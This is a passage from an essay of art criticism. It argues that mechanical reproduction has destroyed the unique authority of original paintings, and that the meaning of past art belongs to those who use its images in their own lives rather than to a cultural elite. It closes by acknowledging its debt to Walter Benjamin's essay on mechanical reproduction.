Because works of art are reproducible, they can, theoretically, be used by anybody. Yet mostly - in art books, magazines, films or within gilt frames in living-rooms - reproductions are still used to bolster the illusion that nothing has changed, that art, with its unique undiminished authority, justifies most other forms of authority, that art makes inequality seem noble and hierarchies seem thrilling. For example, the whole concept of the National Cultural Heritage exploits the authority of art to glorify the present social system and its priorities.

The means of reproduction are used politically and commercially to disguise or deny what their existence makes possible. But sometimes individuals use them differently.

Adults and children sometimes have boards in their bedrooms or living-rooms on which they pin pieces of paper: letters, snapshots, reproductions of paintings, newspaper cuttings, original drawings, postcards. On each board all the images belong to the same language and all are more or less equal within it, because they have been chosen in a highly personal way to match and express the experience of the room's inhabitant. Logically, these boards should replace museums.

What are we saying by that? Let us first be sure about what we are not saying.

We are not saying that there is nothing left to experience before original works of art except a sense of awe because they have survived. The way original works of art are usually approached - through museum catalogues, guides, hired cassettes, etc. - is not the only way they might be approached. When the art of the past ceases to be viewed nostalgically, the works will cease to be holy relics - although they will never re-become what they were before the age of reproduction. We are not saying original works of art are now useless.

Woman Pouring Milk by Jan Vermeer, 1632-75, Rijksmuseum, Amsterdam

Original paintings are silent and still in a sense that information never is. Even a reproduction hung on a wall is not comparable in this respect for in the original the silence and stillness permeate the actual material, the paint, in which one follows the traces of the painter's immediate gestures. This has the effect of closing the distance in time between the painting of the picture and one's own act of looking at it. In this special sense all paintings are contemporary. Hence the immediacy of their testimony. Their historical moment is literally there before our eyes. Cézanne made a similar observation from the painter's point of view. 'A minute in the world's life passes! To paint it in its reality, and forget everything for that! To become that minute, to be the sensitive plate . . . give the image of what we see, forgetting everything that has appeared before our time . . .' What we make of that painted moment when it is before our eyes depends upon what we expect of art, and that in turn depends today upon how we have already experienced the meaning of paintings through reproductions.

Or are we saying that all art can be understood spontaneously. We are not claiming that to cut out a magazine reproduction of an archaic Greek head, because it is reminiscent of some personal experience, and to pin it on to a board beside other disparate images, is to come to terms with the full meaning of that head.

The idea of innocence faces two ways. By refusing to enter a conspiracy, one remains innocent of that conspiracy. But to remain innocent may also be to remain ignorant. The issue is not between innocence and knowledge (or between the natural and the cultural) but between a total approach to art which attempts to relate it to every aspect of experience and the esoteric approach of a few specialized experts who are the clerks of the nostalgia of a ruling class in decline. (In decline, not before the proletariat, but before the new power of the corporation and the state.) The real question is: to whom does the meaning of the art of the past properly belong? To those who can apply it to their own lives, or to a cultural hierarchy of relic specialists?

The visual arts have always existed within a certain preserve; originally this preserve was magical or sacred. But it was also physical: it was the place, the cave, the building, in which, or for which, the work was made. The experience of art, which at first was the experience of ritual, was set apart from the rest of life - precisely in order to be able to exercise power over it. Later the preserve of art became a social one. It entered the culture of the ruling class, whilst physically it was set apart and isolated in their palaces and houses. During all this history the authority of art was inseparable from the particular authority of the preserve.

What the modem means of reproduction have done is to destroy the authority of art and to remove it - or, rather, to remove its images which they reproduce - from any preserve. For the first time ever, images of art have become ephemeral, ubiquitous, insubstantial, available, valueless, free. They surround us in the same way as a language surrounds us. They have entered the mainstream of life over which they no longer, in themselves, have power.

Yet very few people are aware of what has happened because the means of reproduction are used nearly all the time to promote the illusion that nothing has changed except that the masses, thanks to reproductions, can now begin to appreciate art as the cultured minority once did. Understandably, the masses remain uninterested and sceptical.

If the new language of images were used differently, it would, through its use, confer a new kind of power. Within it we could begin to define our experiences more precisely in areas where words are inadequate. (Seeing comes before words.) Not only personal experience, but also the essential historical experience of our relation to the past: that is to say the experience of seeking to give meaning to our lives, of trying to understand the history of which we can become the active agents.

The art of the past no longer exists as it once did. Its authority is lost. In its place there is a language of images. What matters now is who uses that language for what purpose. This touches upon questions of copyright for reproduction, the ownership of art presses and publishers, the total policy of public art galleries and museums. As usually presented, these are narrow professional matters. One of the aims of this essay has been to show that what is really at stake is much larger. A people or a class which is cut off from its own past is far less free to choose and to act as a people or class than one that has been able to situate itself in history. This is why - and this is the only reason why - the entire art of the past has now become a political issue.

Any of the ideas in the preceding essay have been taken from' another, written over forty years ago by the German critic and philosopher Walter Benjamin.

His essay was entitled The Work of Art in the Age of Mechanical Reproduction . This essay is available in English in a collection called Illuminations (Cape, London 1970).